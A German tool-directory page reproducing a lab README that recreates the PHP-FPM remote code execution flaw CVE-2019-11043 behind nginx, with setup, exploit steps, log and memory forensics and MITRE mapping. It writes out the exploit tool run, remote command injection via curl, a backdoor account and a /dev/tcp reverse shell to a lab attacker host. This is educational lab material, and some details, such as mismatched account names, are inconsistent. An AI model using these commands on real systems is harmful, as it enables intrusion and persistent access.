Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-11043-Vulnerability — Praktisches Labor zur Reproduktion von CVE-2019-11043 PHP-FPM RCE hinter nginx, das Reverse-Tunnel-Persistenz, Speicherforensik und Netzwerkverkehrsanalyse demonstriert. | Kitploit
Tools/GitHubGitHub/magentabear/cve-2019-11043-vulnerability
SpeicherforensikPersistenzmechanismenSchwachstellenanalyseExploitationNetzwerkforensikWebanwendungs-ExploitationPenetrationstestsFehlkonfigurationLernen & Bildung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Red Teaming
Labs & Praxis
GitHubmagentabear/cve-2019-11043-vulnerability

CVE-2019-11043-Vulnerability

Praktisches Labor zur Reproduktion von CVE-2019-11043 PHP-FPM RCE hinter nginx, das Reverse-Tunnel-Persistenz, Speicherforensik und Netzwerkverkehrsanalyse demonstriert.

Repository anzeigen
vor 8 MonatenNoch nicht geprüft

Mitwirkende: Olaf Madejski, Andrew Masone, Nate Desany

PHP-FPM Reverse-Tunnel-Exploitation & Persistenz-Demonstration

CVE-2019-11043 — Schwachstelle in der Pfadbehandlung von Debian PHP-FPM


Projektübersicht

Im Oktober 2019 veröffentlichten die Forscher Emil Lerner und Andrew Danau vom Debian Security Advisory eine Warnmeldung, die die Debian-Community vor einer kritischen Schwachstelle in PHP-FPM warnte. Aufgrund unzureichender Validierung im Pfadbehandlungscode von PHP-FPM konnten Angreifer speziell präparierte Anfragen manipulieren, um unter bestimmten NGINX- + PHP-FPM-Konfigurationen beliebigen Code aus der Ferne auszuführen.

Dieses Labor demonstriert die Ausnutzung von:

CVE-2019-11043

Eine Schwachstelle, die PHP-FPM hinter NGINX betrifft und es Angreifern bei Auslösung ermöglichen kann, beliebigen Code auszuführen und über Reverse-Tunneling Persistenz herzustellen.

Das Projekt erstellt eine verwundbare Umgebung nach, führt die Exploit-Kette aus und bewertet, wie Angreifer in realen Szenarien durch Tunneltechniken Persistenz erlangen.


Inhaltsverzeichnis

Config

  • Enthält die Datei index.php, die die Indexdatei für den Docker-Container bereitstellt.
  • Enthält die gepatchte Standardkonfiguration für nginx und die Verwendung von php-fpm.
  • Enthält die verwundbare Standardkonfiguration für nginx und die Verwendung von php-fpm.

Disk_Images

  • Enthält eine Textdatei, die auf Google Drive verweist, wo sich 2 ZIP-Dateien der Festplattenabbilder beider virtuellen Maschinen befinden: des Hosts (Home) und des Angreifers.

Screenshots

  • Ordner mit Screenshots aus dem gesamten Labor, die auch in der README enthalten sind.

Supplemental Material

  • README für die 2 für den Exploit verwendeten Tools sowie die Docker-Compose-Datei für das Docker-Image.

LogFiles

  • Logdateien von der Angreifer-Maschine und der Host-Maschine (Home).
  • Diese Dateien enthalten .pcap-Logs, die zur einfacheren Verwendung aufgeteilt wurden.
  • Ein Link zu einem Speicherabbild; dies ist wichtig, da der Exploit inhärent einen Speicherüberlauf verwendet.
  • access, auth, error, faillog, fulllog.zip (journalctl-Logs), history, php7.3-fpm (zur Verwendung beim Patchen der Schwachstelle), syslog und term-Logs.

README.md

  • README-Datei, die Sie gerade lesen.

Projektrelevanz

Angriffsvektor

Diese Angriffskette stimmt direkt mit mehreren wirkungsvollen MITRE-ATT&CK-Techniken überein:

Warum das heute wichtig ist

Reverse-Tunneling zur Persistenzsicherung ist eine häufig genutzte TTP (Taktik, Technik, Prozedur), die von APT-Gruppen, Botnetzen und Ransomware-Betreibern eingesetzt wird. PHP-FPM ist weiterhin weit verbreitet in Produktionsumgebungen, und die von CVE-2019-11043 ausgenutzten Fehlkonfigurationen werden noch immer in freier Wildbahn beobachtet.

Das sind keine theoretischen Abstraktionen – sie spiegeln exakt die Verhaltensweisen wider, die in aktiven Angriffskampagnen von staatlichen Akteuren und Ransomware-Gruppen dokumentiert sind.

Obwohl CVE-2019-11043 bereits mehrere Jahre alt ist, bleibt die Schwachstelle aus folgenden Gründen der modernen Sicherheitsrealität relevant:

  • Legacy-PHP-Anwendungen gibt es weiterhin überall. Viele Organisationen betreiben weiterhin veraltete PHP-5.x/7.x-Stacks aufgrund langfristiger Webanwendungs-Abhängigkeiten, technischer Schulden oder der Angst, Produktionssysteme zu beschädigen. Diese Umgebungen bleiben oft ungepatcht und verwundbar.

  • NGINX + PHP-FPM ist eine der weltweit am häufigsten verwendeten Hosting-Architekturen. Das macht Schwachstellen in PHP-FPM für Angreifer äußerst attraktiv, die nach großen, langlebigen Angriffsflächen suchen.

  • Reverse-Tunneling ist eine zentrale Persistenztechnik moderner Bedrohungen. Gruppen wie Lazarus, APT29, FIN11 und zahlreiche Ransomware-Betreiber nutzen Reverse-SSH-Tunnel, WebSocket-Tunnel und sogar PHP-basierte Reverse-Shells, um langfristigen Zugriff aufrechtzuerhalten, ohne auf exponierte eingehende Ports angewiesen zu sein.

  • Fehlkonfigurationen bleiben die #1-Ursache für Sicherheitsvorfälle. Selbst wenn Patches existieren, setzen fehlkonfigurierte NGINX-„location“-Blöcke und schlecht validierte PATH_INFO-Variablen Umgebungen weiterhin einer Ausnutzung aus.

  • Exploit-Automatisierungskits zielen weiterhin auf diese CVE. Tools wie automatisierte Scanner, Botnetze und IoT-Malware testen regelmäßig verwundbare PHP-FPM-Konfigurationen, da der Exploit zuverlässige Codeausführung ermöglicht.

  • Cloud-Umgebungen vergrößern die Angriffsfläche. Schlecht gesicherte Container, Shared-Hosting-Setups und veraltete Docker-Basisimages enthalten oft ungepatchte PHP-FPM-Versionen, was zu schneller lateraler Bewegung in Cloud-Netzwerken führt.

  • Angreifer lieben „niedrig hängende Früchte“. Eine Schwachstelle, die Remote-Codeausführung + tunnelbasierte Persistenz mit minimalem Fachwissen ermöglicht, bleibt immer ein Ziel von hohem Wert.

In der heutigen Bedrohungslandschaft, in der anhaltender Zugriff, heimliches Tunneling und Schwachstellen in der Lieferkette die Schlagzeilen der Cybersicherheit dominieren, bietet das Verständnis und die Demonstration, wie CVE-2019-11043 ausgenutzt wird, entscheidende Einblicke in moderne Angriffsmuster und Verteidigungslücken.


Methodik

Umgebung

Das Ziel dieses Labors war es, eine reale Ausnutzung von CVE‑2019‑11043 zu simulieren, einer kritischen Schwachstelle zur Remote-Codeausführung, die PHP‑FPM hinter nginx bei bestimmten Konfigurationen betrifft. Ziel war es, die Schwachstelle zu analysieren, den Exploit in einer kontrollierten virtuellen Umgebung nachzustellen und die Risiken fehlkonfigurierter Web-Infrastruktur zu demonstrieren.

Es wurden zwei virtuelle Maschinen verwendet: beide mit dem Benutzernamen username und dem Passwort password.

RolleMaschineIP-AdresseZweck
Ziel / OpferUbuntu Server192.168.56.102Verwundbarer PHP-FPM-Server mit CVE-2019-11043
AngreiferUbuntu Server192.168.56.103Führt Exploit, Reverse-Shell und Persistenz aus

Befehle für das Host-Setup:

apt aktualisieren

root@kitploit:~
sudo apt update && sudo apt -y upgrade

Erstellen des Containers für die Ausnutzung der Schwachstelle.

root@kitploit:~
sudo apt install -y docker.io docker-compose git
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
sudo docker-compose up -d

Befehle für das Ziel-Setup:

apt aktualisieren und grundlegende PHP-, Python- und weitere Pakete installieren

root@kitploit:~
sudo apt update
sudo apt install nmap curl wget git python3 python3-pip \
    netcat-traditional net-tools build-essential \
    php ruby ruby-full        
pip3 install requests
sudo apt install golang-go

Lädt ein Tool herunter, um die betreffende CVE auszunutzen, und wechselt im Terminal, um den Exploit zu bauen.

root@kitploit:~
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go build

Befehle zum Angriff auf das Ziel:

Ab hier ist das Setup abgeschlossen. Als Beispiel für das, was Sie zuerst tun können:

  1. Führen Sie in einem Terminal (Terminal 1) Folgendes aus:

    root@kitploit:~
    nc -lvnp 4444
    

Dies richtet einen Lauschkanal ein und ermöglicht die Reverse-Shell. Dies sollte immer aktiv lauschen, da es die weiter unten aufgeführten Befehle in einem theoretischen Experiment ermöglicht.

  1. Führen Sie in einem anderen Terminal (Terminal 2) Folgendes aus:

    root@kitploit:~
     cd phuip-fpizdam
    ./phuip-fpizdam http://192.168.56.102:8080/index.php
    

Dies sollte Zeilen ausgeben, die bestätigen, dass Sie die Schwachstelle erfolgreich ausgenutzt haben.

Öffnen Sie schließlich ein letztes, zusätzliches Terminal (Terminal 3).

Sie können sofort die Funktionalität des Exploits testen, indem Sie Folgendes ausführen:

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=id"

Dies erstellt einen webbasierten Remote-Befehl und gibt die Ausgabe von id aus. Wie der Screenshot unten jedoch zeigt, kann der Befehl aufgrund des Speicherüberlaufs manchmal funktionieren und manchmal nicht; häufig ist die Wahrscheinlichkeit größer, dass kleinere Befehle funktionieren.

Theoretisch kann hier jeder Befehl ausgeführt werden. Er müsste an der Stelle stehen, die der folgende Befehl mit HERE markiert, allerdings kann die Wahrscheinlichkeit, dass ein vollständiger Befehl ausgeführt wird, variieren.

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=HERE"

Dieser Befehl liest den Inhalt innerhalb der Shell

root@kitploit:~
http://192.168.56.102:8080/index.php?cmd=ls

In einem realen Beispiel würde dieser Befehl durch einen Bedrohungsakteur ein neues Konto erstellen und ein Passwort von password in den Anführungszeichen setzen.

root@kitploit:~
useradd threat
echo "password" | passwd --stdin hacker

Dieser Befehl erstellt eine Reverse-Shell; dies ist jedoch ein Proof of Concept und schwierig umzusetzen, da PHP-FPM regelmäßig Worker-Prozesse beendet und neu startet.

Wenn der beschädigte Worker stirbt, sterben die injizierten php.ini-Modifikationen mit ihm.

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=/bin/sh+-c+'sh+-i+>%26+/dev/tcp/192.168.56.103/4444+0>%261'"

Von hier aus würde ein Angreifer wahrscheinlich eine geplante Aufgabe verwenden, in diesem Beispiel CRON, da der Server unter Linux läuft; dies entspricht den Windows-Startprozessen.


Ergebnisse

Das Labor hat CVE‑2019‑11043 in einer kontrollierten Umgebung erfolgreich reproduziert und demonstriert, wie ein fehlkonfiguriertes nginx + PHP‑FPM-Setup remote ausgenutzt werden kann. Mithilfe der verwundbaren, auf Regex basierenden fastcgi_split_path_info-Konfiguration konnte die Angreifer-Maschine PHP‑FPM in einen inkonsistenten Zustand versetzen und letztlich beliebige Codeausführung erreichen. Darüber hinaus wurden Logdateien von einem Remote-Server aus vielen Systemen extrahiert und als mit dieser Schwachstelle verbundene Logs analysiert.

Sobald die Schwachstelle ausgelöst wurde, erlangte der Angreifer eine Remote-Befehlsausführung auf dem Ziel und konnte als lokaler Benutzer mit dem System interagieren. Der kompromittierte Webserver akzeptierte Befehle, führte sie aus und gab die Ausgabe zurück – was eine voll funktionsfähige Remote-Shell bestätigte. Dies bestätigte, dass die CVE bei Verwendung der verwundbaren nginx-Pfadaufteilungskonfiguration und der betroffenen PHP-FPM-Versionen weiterhin zuverlässig ausnutzbar ist.

Die Umgebung verhielt sich konsistent zum dokumentierten Exploit-Verhalten. Befehle wie whoami, id, ls und echo wurden erfolgreich ausgeführt, während komplexere oder interaktive Befehle die Instabilität des ausgenutzten PHP‑FPM-Worker-Prozesses zeigten – einer der bekannten Effekte dieser Schwachstelle.

Wie bereits erwähnt, gibt es aufgrund der Volatilität der Schwachstelle – mal anfällig, mal nicht – Zeiten, in denen es funktioniert, und Zeiten, in denen es nicht funktioniert. Es ist ratsam, Schleifen-Skripte für die Befehle zu verwenden.

Diese Schwachstelle nutzt eine CVE aus, die direkt mit einem Speicher- und Pufferüberlaufproblem zusammenhängt. Deshalb ist es wichtig, den Speicher der Host-Maschine zu betrachten und mit Volatility zu analysieren.

Für dieses Labor haben wir die wichtigsten Logs zu dieser Schwachstelle analysiert: Speicher- und Netzwerk-Captures.

Das Netzwerk-Capture zeigt die Befehle, die auf der Host-Maschine ausgeführt werden sollen. Dazu gehören der Befehl selbst sowie mehrere Zeichen, die am Ende der URL an den HTTP-GET-Befehl angehängt werden, der an den Server gesendet wird und dadurch einen Speicherüberlauf verursacht.

Zusätzlich kann man im Klartext den Befehl sehen, der in diesem harmlosen Beispiel zum Herunterladen eines Bildes eines glücklichen Hundes von Google Images verwendet wurde, sowie den eigentlichen Befehl mit ‚humorvollem Text‘ vom Ersteller des PHuip-GitHub-Repositories.

Das Speicher-Capture, das mit Volatility analysiert und in einer .json-Datei gesammelt wurde, zeigt häufige Prozesse mit demselben Namen, die mehrfach hintereinander ausgeführt wurden, was auf Fehlschläge und Wiederholungen hindeutet.

Dies geschieht, weil der Speicherüberlauffehler das Kernproblem dieser Schwachstelle ist. Ein Benutzer wiederholt einen Befehl möglicherweise mit einem Bash-Skript wie: while true; do curl "command" sleep 0.01, wobei Befehle mehrmals pro Sekunde ausgeführt werden, um den Durchbruch zu versuchen und die Remote-Codeausführung zu erreichen.

Wichtigste Erkenntnisse

Insgesamt hat das Projekt die folgenden Punkte bestätigt:

  • Die verwundbare nginx-Regex reicht aus, um PHP‑FPM einer Remote-Codeausführung auszusetzen.

  • PHP‑FPM 8.1 (bei entsprechender Konfiguration) ist unter den Bedingungen von CVE‑2019‑11043 weiterhin ausnutzbar.

  • Ein entfernter Angreifer kann eine bedeutende Befehlsausführung erlangen, die Dateimanipulation, Datenexfiltration und potenzielle Privilegieneskalation ermöglicht.

  • Fehlkonfigurationen in Reverse-Proxy-/FastCGI-Setups stellen eine Angriffsfläche mit hoher Auswirkung dar, insbesondere in Verbindung mit öffentlich zugänglichen Upload-Endpunkten oder phpinfo()-Seiten.

Die Ergebnisse unterstreichen, wie entscheidend eine korrekte FastCGI-Konfiguration ist, und verdeutlichen die Notwendigkeit sicherer Standardeinstellungen, regelmäßiger Konfigurationsaudits und einer minimalen Exposition von Diagnose-Endpunkten in Produktionsumgebungen.


Fazit

Die Ausnutzung von CVE-2019-11043 zeigt, wie eine einzige Fehlkonfiguration in PHP-FPM und NGINX zu Serverübernahme und dauerhaftem Zugriff durch Angreifer führen kann.
Das Debian-Security-Advisory-Team bestätigte, dass ein Upgrade von php7.0 auf Version 7.0.33 oder neuer diese Schwachstelle vollständig behebt.

Sorgfältiges Patchen, gehärtete NGINX-Konfigurationen und die Überwachung von Tunneling-Verhalten sind entscheidend, um ähnliche Angriffe in modernen Umgebungen zu verhindern.


Referenzen

  • CVE-Details – https://nvd.nist.gov/vuln/detail/cve-2019-11043
  • CVE-Eintrag – https://www.cve.org/CVERecord?id=CVE-2019-11043
  • Debian Security Advisory – https://lists.debian.org/debian-security-announce/2019/msg00204.html
  • Docker-Repository für die Schwachstelle - https://github.com/vulhub/vulhub/tree/master
  • Tool zur Ausnutzung der Schwachstelle - https://github.com/neex/phuip-fpizdam

Tool herunterladen
MITRE IDTechnique Name
T1071Application Layer Tunneling
T1572Protocol Tunneling
T1090Proxy / Reverse Proxy
T1505Server-Side Components (PHP-FPM)
T1574Hijacking Execution Flow